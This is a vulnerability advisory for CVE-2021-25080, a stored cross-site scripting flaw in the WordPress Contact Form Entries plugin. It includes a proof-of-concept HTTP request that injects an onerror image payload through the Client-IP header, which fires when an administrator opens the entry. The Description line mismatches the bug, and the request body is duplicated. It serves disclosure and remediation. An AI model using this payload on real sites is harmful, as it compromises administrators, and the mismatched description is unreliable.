Authored by Gaetano Perrone | Site secsi.io

WordPress CRM Form Entries versions prior to 1.1.7 appear susceptible to a cross site scripting vulnerability.

advisories | CVE-2021-25080

Hello, today I disclosed the CVE-2021-25080 vulnerability. Here attached
technical information:

# References:
* https://wpscan.com/vulnerability/acd3d98a-aab8-49be-b77e-e8c6ede171ac
*
https://secsi.io/blog/cve-2021-25080-finding-cross-site-scripting-vulnerabilities-in-headers/


# Description:
WordPress before 5.2.3 allows XSS in post previews by authenticated users.




# Technical Details and Exploitation:
CRM Form Entries CRM is vulnerable to a Stored XSS in Client IP field.
When the user uploads a new form, CRM Form Entries checks for the client IP
in order to save information about the user:
===============================================================================================================
public function get_ip(),
wp-content/plugins/contact-form-entries/contact-form-entries.php, line 1388
==============================================================================================================
The user can set an arbitrary "HTTP_CLIENT_IP" value, and the value is
stored inside the database.


# Proof Of Concept:

Suppose that you have a Contact Form, intercept the POST request and insert
the following Client-IP header
===============================================================================================================
POST /index.php?rest_route=/contact-form-7/v1/contact-forms/10/feedback
HTTP/1.1
Host: dsp.com:11080
Content-Length: 1411
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 ...
Client-IP: <img src=a onerror=alert(1)>

------WebKitFormBoundaryCuNGXLnhRsdglEAx

Content-Disposition: form-data; name="_wpcf7"

10
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_version"

5.3.1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_locale"

en_US
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_unit_tag"

wpcf7-f10-p13-o1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_container_post"

Content-Disposition: form-data; name="_wpcf7"

10
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_version"

5.3.1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_locale"

en_US
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_unit_tag"

wpcf7-f10-p13-o1
------WebKitFormBoundaryCuNGXLnhRsdglEAx
Content-Disposition: form-data; name="_wpcf7_container_post"
...
===============================================================================================================
The request is acccepted, and the code navigates the section
$_SERVER['HTTP_CLIENT_IP'] , ip is injected and saved inside the database.
When the administrator clicks on the entry element in the plugin, the XSS
is triggered.


# Solution:
Upgrade Contact Form Entries to version 1.1.7